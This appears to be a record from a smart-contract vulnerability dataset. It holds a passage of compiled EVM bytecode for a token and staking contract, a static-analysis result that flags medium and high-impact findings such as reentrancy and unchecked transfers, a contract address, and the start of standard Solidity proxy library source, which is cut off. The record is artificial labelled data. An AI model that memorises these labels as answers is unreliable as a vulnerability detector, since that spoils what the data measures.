fffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461425290919063ffffffff16565b111515156119b757600080fd5b6119cc8260055461425290919063ffffffff16565b600581905550611a2482600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461425290919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b611b30338383614270565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663541334f6336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515611bf157600080fd5b5af11515611bfe57600080fd5b505050604051805190501515611c1357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611c4f57600080fd5b611ce0600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461423990919063ffffffff16565b8211151515611cee57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166357e8f401846040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515611daa57600080fd5b5af11515611db757600080fd5b50505060405180519050611e1383600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461425290919063ffffffff16565b11151515611e2057600080fd5b611e7282600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461423990919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f0782600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461425290919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600e602052816000526040600020602052806000526040600020600091509150505481565b600c6020528060005260406000206000915090505481565b60006121c3600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fedbceba600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b2d1573f876040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561213657600080fd5b5af1151561214357600080fd5b505050604051805190506040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b151561219e57600080fd5b5af115156121ab57600080fd5b5050506040518051905061423990919063ffffffff16565b9050919050565b600080600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156122db576000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236f565b6122ee838261423990919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600a6020528060005260406000206000915090508060000154908060010154908060020160009054906101000a900460ff16905083565b600f6020528060005260406000206000915090505481565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638f84aa096040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156125c457600080fd5b5af115156125d157600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561261457600080fd5b600a600085815260200190815260200160002060020160009054906101000a900460ff16151561264357600080fd5b600a600085815260200190815260200160002090508281600001819055508181600101819055507f1240b27c4bd6a340e47e766efbdb5987a4e2617323271fdf84c9e73d8396401584848460405180848152602001838152602001828152602001935050505060405180910390a150505050565b6000806000806000600b600087815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561272f57600080fd5b61275a610e10600b60008981526020019081526020016000206004015461425290919063ffffffff16565b421015151561276857600080fd5b6000945060019350600092506000600b60008881526020019081526020016000206003015411156128d1576127e8600a6000600b60008a815260200190815260200160002060030154815260200190815260200160002060000154600b60008981526020019081526020016000206001015461425290919063ffffffff16565b91508142106127f757816127f9565b425b9050612838610e1061282a600b60008a8152602001908152602001600020600401548461423990919063ffffffff16565b61479290919063ffffffff16565b9350612877612852610e10866147ad90919063ffffffff16565b600b60008981526020019081526020016000206004015461425290919063ffffffff16565b600b6000888152602001908152602001600020600401819055506128ce610e106128c0600b60008a8152602001908152602001600020600401548561423990919063ffffffff16565b61479290919063ffffffff16565b92505b61291484612906670de0b6b3a7640000600b60008b8152602001908152602001600020600001546147ad90919063ffffffff16565b6147ad90919063ffffffff16565b94506000831415612d4157612987600b600088815260200190815260200160002060000154600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461423990919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b600087815260200190815260200160002060050154600b6000600c6000600d6000815460019003919050819055815260200190815260200160002054815260200190815260200160002060050181905550600c6000600d54815260200190815260200160002054600c6000600b60008a815260200190815260200160002060050154815260200190815260200160002081905550600c6000600d54815260200190815260200160002060009055600b600087815260200190815260200160002060060154600b6000600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815460019003919050819055815260200190815260200160002054815260200190815260200160002060060181905550600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054815260200190815260200160002054600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600b60008a815260200190815260200160002060060154815260200190815260200160002081905550600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054815260200190815260200160002060009055600b600087815260200190815260200160002060008082016000905560018201600090556002820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600382016000905560048201600090556005820160009055600682016000905550505b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1933876040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515612e0557600080fd5b5af11515612e1257600080fd5b50505060405180519050503373ffffffffffffffffffffffffffffffffffffffff167fcade61307acda3243e179ed08240abd9df8f26ae5aa4b098ce9bc4d756115e698787604051808381526020018281526020019250505060405180910390a2505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cf73a1bc6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515612eff57600080fd5b5af11515612f0c57600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612f4f57600080fd5b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561300d57600080fd5b5af1151561301a57600080fd5b5050506040518051905011151561303057600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636ad5b3ea6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156130f257600080fd5b5af115156130ff57600080fd5b50505060405180519050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156131c557600080fd5b5af115156131d257600080fd5b505050604051805190506040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561326057600080fd5b5af1151561326d57600080fd5b50505060405180519050507f12f4533b5cbd2c9f8a0752a2d0b16379af992dbb2a0844a5007a19d983b3a9346000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636ad5b3ea6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561331d57600080fd5b5af1151561332a57600080fd5b50505060405180519050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156133f057600080fd5b5af115156133fd57600080fd5b50505060405180519050604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156134ad57600080fd5b600160006134ba836147e8565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060009054906101000a900460ff16151561351f57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168160405180828051906020019080838360005b83811015613564578082015181840152602081019050613549565b50505050905090810190601f1680156135915780820380516001836020036101000a031916815260200191505b509150506000604051808303816000865af191505015156135b157600080fd5b7f098d215dbf4904f38cce693a04004ed58db6d54491b91c083e277144ce38b4ee848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001935050505060405180910390a150505050565b6040805190810160405280600481526020017f4c616e640000000000000000000000000000000000000000000000000000000081525081565b600b6020528060005260406000206000915090508060000154908060010154908060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060030154908060040154908060050154908060060154905087565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561377a57600080fd5b61380b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461423990919063ffffffff16565b821115151561381957600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166357e8f401846040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156138d557600080fd5b5af115156138e257600080fd5b5050506040518051905061393e83600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461425290919063ffffffff16565b1115151561394b57600080fd5b61399d82600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461423990919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613a3282600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461425290919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166386e476dd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515613b6857600080fd5b5af11515613b7557600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613bb857600080fd5b600654600554141515613bca57600080fd5b613be16103e860065461425290919063ffffffff16565b6006819055507f58023637e77b02a92776683f79289c6c2daaf581cbdd2d5fca74dd15d25c77a16006546040518082815260200191505060405180910390a1565b6000613cb382600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461425290919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613f0057600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635c975abb6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515613f8457600080fd5b5af11515613f9157600080fd5b505050604051805190501515613fa657600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663071467866040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561402a57600080fd5b5af1151561403757600080fd5b50505060405180519050600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ff8028b36040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561410557600080fd5b5af1151561411257600080fd5b50505060405180519050600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a63f5e2a6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156141e057600080fd5b5af115156141ed57600080fd5b50505060405180519050600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600082821115151561424757fe5b818303905092915050565b600080828401905083811015151561426657fe5b8091505092915050565b614301600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461423990919063ffffffff16565b82111580156143105750600082115b151561431b57600080fd5b600081111561449657600a600082815260200190815260200160002060020160009054906101000a900460ff16151561435357600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd84306143bc86600a6000888152602001908152602001600020600101546147ad90919063ffffffff16565b6040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b151561447357600080fd5b5af1151561448057600080fd5b50505060405180519050151561449557600080fd5b5b60e0604051908101604052808381526020014281526020018473ffffffffffffffffffffffffffffffffffffffff168152602001828152602001428152602001600d548152602001600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054815250600b60006011600081546001019190508190558152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550606082015181600301556080820151816004015560a0820151816005015560c0820151816006015590505061461a82600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461425290919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601154600c6000600d600081548092919060010191905055815260200190815260200160002081905550601154600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050558152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f666afaed3423c42c8166c1391f4713921e16732036a05780223ea22f8eb3f7fa6011548460105460405180848152602001838152602001828152602001935050505060405180910390a2505050565b60008082848115156147a057fe5b0490508091505092915050565b60008060008414156147c257600091506147e1565b82840290508284828115156147d357fe5b041415156147dd57fe5b8091505b5092915050565b600080600090505b60048110156148d7576003819060020a0260ff7f010000000000000000000000000000000000000000000000000000000000000002848381518110151561483357fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f010000000000000000000000000000000000000000000000000000000000000002167effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19169060020a90048217915080806001019150506147f0565b509190505600a165627a7a723058208966007ec699a6ea40b5ff8fd253fd0473f264b18c8e882cf73d3d13ea47ffcb0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,333 |
0xdcbEeA794B2F89A1A6eDF7bE9aFb16CF2F120c2c
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: value}(
data
);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(
gas(),
implementation,
0,
calldatasize(),
0,
0
)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
contract UpgradeableProxy is Proxy {
/**
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
*
* If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
* function call, and allows initializating the storage of the proxy like a Solidity constructor.
*/
constructor(address _logic, bytes memory _data) payable {
assert(
_IMPLEMENTATION_SLOT ==
bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)
);
_setImplementation(_logic);
if (_data.length > 0) {
Address.functionDelegateCall(_logic, _data);
}
}
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _IMPLEMENTATION_SLOT =
